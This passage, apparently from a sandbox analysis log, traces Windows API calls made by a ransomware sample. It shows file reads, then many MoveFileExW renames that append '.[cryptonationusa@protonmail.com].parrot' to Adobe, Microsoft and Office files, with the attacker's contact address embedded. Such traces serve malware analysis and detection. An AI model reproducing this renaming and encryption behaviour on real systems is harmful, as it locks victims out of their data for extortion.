lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.289] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.290] CloseHandle (hObject=0x274) returned 1 [0097.290] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.290] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.291] CloseHandle (hObject=0x274) returned 1 [0097.291] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.291] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.292] CloseHandle (hObject=0x274) returned 1 [0097.292] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.292] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.293] CloseHandle (hObject=0x274) returned 1 [0097.293] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.293] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.294] CloseHandle (hObject=0x274) returned 1 [0097.294] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.294] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.295] CloseHandle (hObject=0x274) returned 1 [0099.366] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0099.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d350 | out: hHeap=0x5b0000) returned 1 [0099.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0099.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d35e0 | out: hHeap=0x5b0000) returned 1 [0099.414] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0099.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639a50 | out: hHeap=0x5b0000) returned 1 [0099.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0099.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22920f0 | out: hHeap=0x5b0000) returned 1 [0099.565] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0099.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639a50 | out: hHeap=0x5b0000) returned 1 [0099.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0099.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0100.056] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639a50 | out: hHeap=0x5b0000) returned 1 [0100.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0100.375] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268458 | out: hHeap=0x5b0000) returned 1 [0100.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63b210 | out: hHeap=0x5b0000) returned 1 [0100.548] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268458 | out: hHeap=0x5b0000) returned 1 [0100.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63b210 | out: hHeap=0x5b0000) returned 1 [0100.650] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6800b0 | out: hHeap=0x5b0000) returned 1 [0100.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0100.783] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr1.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr1.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6800b0 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0100.813] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6814b0 | out: hHeap=0x5b0000) returned 1 [0100.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683240 | out: hHeap=0x5b0000) returned 1 [0100.822] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680260 | out: hHeap=0x5b0000) returned 1 [0100.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f250 | out: hHeap=0x5b0000) returned 1 [0100.859] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6814b0 | out: hHeap=0x5b0000) returned 1 [0100.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0100.871] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22685c8 | out: hHeap=0x5b0000) returned 1 [0100.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f250 | out: hHeap=0x5b0000) returned 1 [0100.941] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680260 | out: hHeap=0x5b0000) returned 1 [0100.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66d238 | out: hHeap=0x5b0000) returned 1 [0100.957] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointteamsite.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointteamsite.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0100.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680260 | out: hHeap=0x5b0000) returned 1 [0100.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0100.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66d238 | out: hHeap=0x5b0000) returned 1 [0101.094] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d210 | out: hHeap=0x5b0000) returned 1 [0101.102] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22340d0 | out: hHeap=0x5b0000) returned 1 [0101.132] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22920f0 | out: hHeap=0x5b0000) returned 1 [0101.186] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0101.245] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22340d0 | out: hHeap=0x5b0000) returned 1 [0101.288] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0101.331] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0101.348] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22340d0 | out: hHeap=0x5b0000) returned 1 [0101.360] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222c090 | out: hHeap=0x5b0000) returned 1 [0101.382] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.383] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0101.449] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22920f0 | out: hHeap=0x5b0000) returned 1 [0101.520] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0101.579] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d210 | out: hHeap=0x5b0000) returned 1 [0101.588] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22340d0 | out: hHeap=0x5b0000) returned 1 [0101.631] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" 